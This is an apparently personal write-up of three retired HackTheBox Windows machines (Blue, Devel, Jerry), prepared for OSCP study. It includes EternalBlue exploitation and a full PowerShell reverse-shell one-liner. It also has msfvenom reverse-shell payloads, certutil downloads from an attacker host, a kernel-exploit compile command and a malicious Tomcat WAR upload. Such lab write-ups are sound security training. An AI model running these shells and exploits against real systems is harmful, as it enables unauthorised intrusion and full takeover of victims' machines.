Instead of a single box write-up, I am including walkthroughs for three easy rated, retired Windows HackTheBox machines here to kick off my pursuit of completing the infamous TJNull list of OSCP prep-relevant machines across the popular CTF and training platforms. The recently updated list can be found here. Due to the simplicity of the machines, these writeups are presented with concision in mind, unlike the majority of my other walkthroughs.

Note: I have replaced all instances of the virtual machines’ ip addresses with <target-ip> throughout this write-up.


Rooting this box involves the discovery and exploitation of the EternalBlue SMBv1 vulnerability. For more information on EternalBlue, see this explanation on Avast.com. In this write-up, I present methods for exploitation using, and not using, Metasploit.



Enumeration is accomplished quickly and easily with nmap. After finding the machine’s SMB service active and listening on ports 135/445, we can use nmap’s smb-vuln-ms17-010 script to identify the vulnerability. For more information on the script, click here.

| smb-vuln-ms17-010: 
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).


With Metasploit

To conduct the exploitation of EternalBlue with Metasploit, we use the windows/smb/ms17_010_eternalblue module. After setting the necessary options, we run the exploit in check mode and look for sucess messages to confirm that the exploit was effective. If not, we will have somewhere to start when working to fix any problems.

[*] <target-ip>:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] <target-ip>:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[+] <target-ip>:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Meterpreter session 1 opened (<target-ip>:4444 -> <target-ip>:49158) at 2022-08-09 12:14:32 -0400
[+] <target-ip>:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] <target-ip>:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] <target-ip>:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

We are then left with a meterpreter shell session as NT Authority\SYSTEM:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Without Metasploit

To effect this exploit without the use of Metasploit, we instead use searchsploit to look through the ExploitDB database for relevant exploits. Luckily, there are a plethora of options to choose from:

---------------------------------------------------------- ---------------------------------
 Exploit Title                                             |  Path
----------------------------------------------------------- ---------------------------------
Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'Ete | windows/remote/43970.rb
Microsoft Windows - SMB Remote Code Execution Scanner (MS1 | windows/dos/41891.rb
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Cod | windows/remote/42031.py
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'Eternal | windows/remote/42315.py
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB  | windows_x86-64/remote/42030.py
Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' S | windows_x86-64/remote/41987.py
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results

For our purposes, we grab 42315.py and copy it to our current working directory with searchsploit -m 42315. When we attempt to run the exploit, we’re given a missing Python module error No module named 'mysmb', is it isn’t yet installed on our system. Luckily, we spy a link in the source code to an Offensive Security GitHub repository where we can find it.

EDB Note: mysmb.py can be found here ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42315.py

After downloading the necessary module, running the exploit returns:

Target OS: Windows 7 Professional 7601 Service Pack 1
Not found accessible named pipe

As the script, by default, tries all standard named pipes, this appears to be a permissions issue. Let’s try to have the script connect as guest, a BUILTIN default account. To do this, we edit the following lines of our exploit:

USERNAME = 'guest'

When we attempt to run the exploit again, we see that the exploit has successfully run:

creating file c:\pwned.txt on the target

Now, we simply need to change the script (lines ~928-930) to uncomment the commands for executing a reverse shell:

#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')

#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')

Then we create our reverse shell executable with msfvenom:

msfvenom -p windows/shell_reverse_tcp -f exe LHOST=<target-ip> LPORT=4321 > NotAnExploit.exe

Here is our new script text:

smb_send_file(smbConn, 'NotAnExploit.exe', 'C', '/NotAnExploit.exe')
service_exec(conn, r'cmd /c C:\NotAnExploit.exe')

With this completed, we should get a reverse shell back when running the exploit!


Completing this box involves FTP and web server exploitation, paired with a flexible privilege escalation portion, which allows for a variety of vectors to be utilized. As this machine is old (2050 days older at the time of publication!) and I need practice with kernel exploits, I’ve chosen this route.



21/tcp open  ftp     syn-ack ttl 127 Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS7
|_http-server-header: Microsoft-IIS/7.5
Matched Pattern: Powered-By: ASP.NET

Identified HTTP Server: Microsoft-IIS/7.5

Our scans return two basic services with ports open: FTP on port 21 and an IIS webserver on port 80.


While the webserer only appears to contain default content, we discover that we can log in to the FTP server anonymously with ftp anonymous@ Not only that, but we find that we have permission to upload files to the server with the put command. After conducting a few tests with generic image and HTTP files, we discover that the uploaded content can be accessed via the webserver on port 80.

Thus, we upload an Active Server Pages (.aspx - a format designed for .NET) webshell to the server. By passing commands through the relevant parameter in our requests, we discover that we have command execution on the machine as the iis apppool\web user. We also determine the following about the system:

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise
OS Version:                6.1.7600 N/A Build 7600
System Type:               X86-based PC

Foothold - Reverse Shell

In addition to enumerating our current user with whoami, we are able to use the ping command to verify that our attacking machine is reachable from the server. While we could transfer a netcat binary to the machine to generate a callback, this is an older machine and, thus, it may be easier to connect via PowerShell. With a bit of experimentation, we manage to do just that with the following shellcode:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',8889);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Privilege Escalation

From our PowerShell, we can do a bit more manual enumeration: whoami /priv

SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled

SeImpersonatePrivilege        Impersonate a client after authentication Enabled

SeCreateGlobalPrivilege       Create global objects                     Enabled

This is looking juicy. We then download and run WinPEAS for more information on the patches installed on this machine::

Download WinPEAS with CertUtil:

certutil -urlcache -split -f "http://<attacker-ip>:8000/winPEAS.bat" 

WinPEAS output

MS11-080 patch is NOT installed XP/SP3,2K3/SP3-afd.sys)
MS16-032 patch is NOT installed 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
MS11-011 patch is NOT installed XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
MS10-59 patch is NOT installed 2K8,Vista,7/SP0-Chimichurri)
MS10-21 patch is NOT installed 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
MS10-092 patch is NOT installed 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
MS10-073 patch is NOT installed XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
MS17-017 patch is NOT installed 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
MS10-015 patch is NOT installed 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
MS08-025 patch is NOT installed 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
MS06-049 patch is NOT installed 2K/SP4-ZwQuerySysInfo)
MS06-030 patch is NOT installed 2K,XP/SP2-Mrxsmb.sys)
MS05-055 patch is NOT installed 2K/SP4-APC Data-Free)
MS05-018 patch is NOT installed 2K/SP3/4,XP/SP1/2-CSRSS)
MS04-019 patch is NOT installed 2K/SP2/3/4-Utility Manager)
MS04-011 patch is NOT installed 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
MS04-020 patch is NOT installed 2K/SP4-POSIX)
MS14-040 patch is NOT installed 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
MS16-016 patch is NOT installed 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
MS15-051 patch is NOT installed 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
MS14-070 patch is NOT installed 2K3/SP2-TCP/IP)
MS13-005 patch is NOT installed Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
MS13-053 patch is NOT installed 7SP0/SP1_x86-schlamperei)
MS13-081 patch is NOT installed 7SP0/SP1_x86-track_popup_menu)

Alternatively, we can run the venerable Windows Exploit Suggester (ensuring that it is the original version, not NG) remotely to discover opportunities for obtaining root access.

Note: Like many, initially I had trouble getting the script to use the Microsoft Excel spreadsheet generated by the xx flag. This has to do with the use of the Python library xlrd, which can be mitigated via the use of Python virtual environments (venv). Alternatively, a quick fix is available here.

WES output

python2 /opt/Windows-Exploit-Suggester/windows-exploit-suggester.py --database 2022-10-20-mmsb.xls --systeminfo systeminfo.txt
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 179 potential bulletins(s) with a database of 137 known exploits
[*] there are now 179 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 7 32-bit'
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done

Honing our exploitation searches to “Build 7600” of Windows 7, which we gleaned from our initial enumeration efforts, brings us many options, including: ttps://www.exploit-db.com/download/40564.

Luckily for us, the text of the exploit explains concisely how to compile it for use:

i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32

After compiling the executable, we transfer it over to the machine with certutil to a writeable directory:

certutil -urlcache -split -f "http://<attacker-ip>:8000/MS11-046.exe" 

Note: At this juncture, I had to pass my reverse shell session to cmd.exe, as the necessary functionality was proving problematic with my initial PowerShell reverse shell.

With this completed, we simply execute the exploit and enjoy SYSTEM access!


nt authority\system


The third box of our initial roundup, Jerry features basic exploitation of an Apache Tomcat web server.



8080/tcp open  http    syn-ack ttl 127 Apache Tomcat/Coyote JSP engine 1.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat/7.0.88

Our initial scans give us a wealth of information about a Tomcat server running on port 8080 of the machine. Manually browsing to the webserver root futher confirms this:


Apache Tomcat/7.0.88
If you're seeing this, you've successfully installed Tomcat. Congratulations!


Despite its age, nikto can still often yield valuable information about web applications. Here, we get very lucky, with the following output:

+ Default account found for 'Tomcat Manager Application' at /manager/html (ID 'tomcat', PW 's3cret'). Apache Tomcat.

Browsing to <target-ip>:8080/manager confirms this.

This site is asking you to sign in. 



RCE - Administration Panel

Apache Tomcat is a common platform for deploying Java code. This means that we can use a malicious Web Application Resource (alternatively known as a Web Application Archive - .war) file to create a reverse shell callback to our machine.

First, we generate the necessary payload with msfvenom:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker-ip> LPORT=8002 -f war > shell.war
Payload size: 1088 bytes
Final size of war file: 1088 bytes

Then we simply upload the WAR file:

…and run it for a reverse shell!

Luckily, the Tomcat server was running as the Windows SYSTEM user, giving us full access immediately.

connect to [<attacker-ip>] from (UNKNOWN) [<target-ip>] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

nt authority\system

Lessons Learned

It’s great to finally get a jump on the TJNull list, in pursuit of eventually obtaining the OSCP. I am attempting to document as many of the boxes on the list as I can, independent of their level of difficulty.

  • Blue
    • The process of manually exploiting EternalBlue was new to me, but will help with Metasploitless efforts going forward.
    • Accounting for the actual use of named pipes helped to develop my understanding of their use both within the context of EB and more generally.
  • Devel
    • The machine’s age rendered many of my previous go-to techniques and tools less helpful, mandating the use of a different approach.
    • Similarly, this gave me an opportunity to use windows-exploit-suggester.py and engage in the associated troubleshooting, mentioned above.
  • Jerry
    • I have not needed to exploit an Apache Tomcat server in a while, so this was a great refresher in the use of .war (and .jar) files, generally.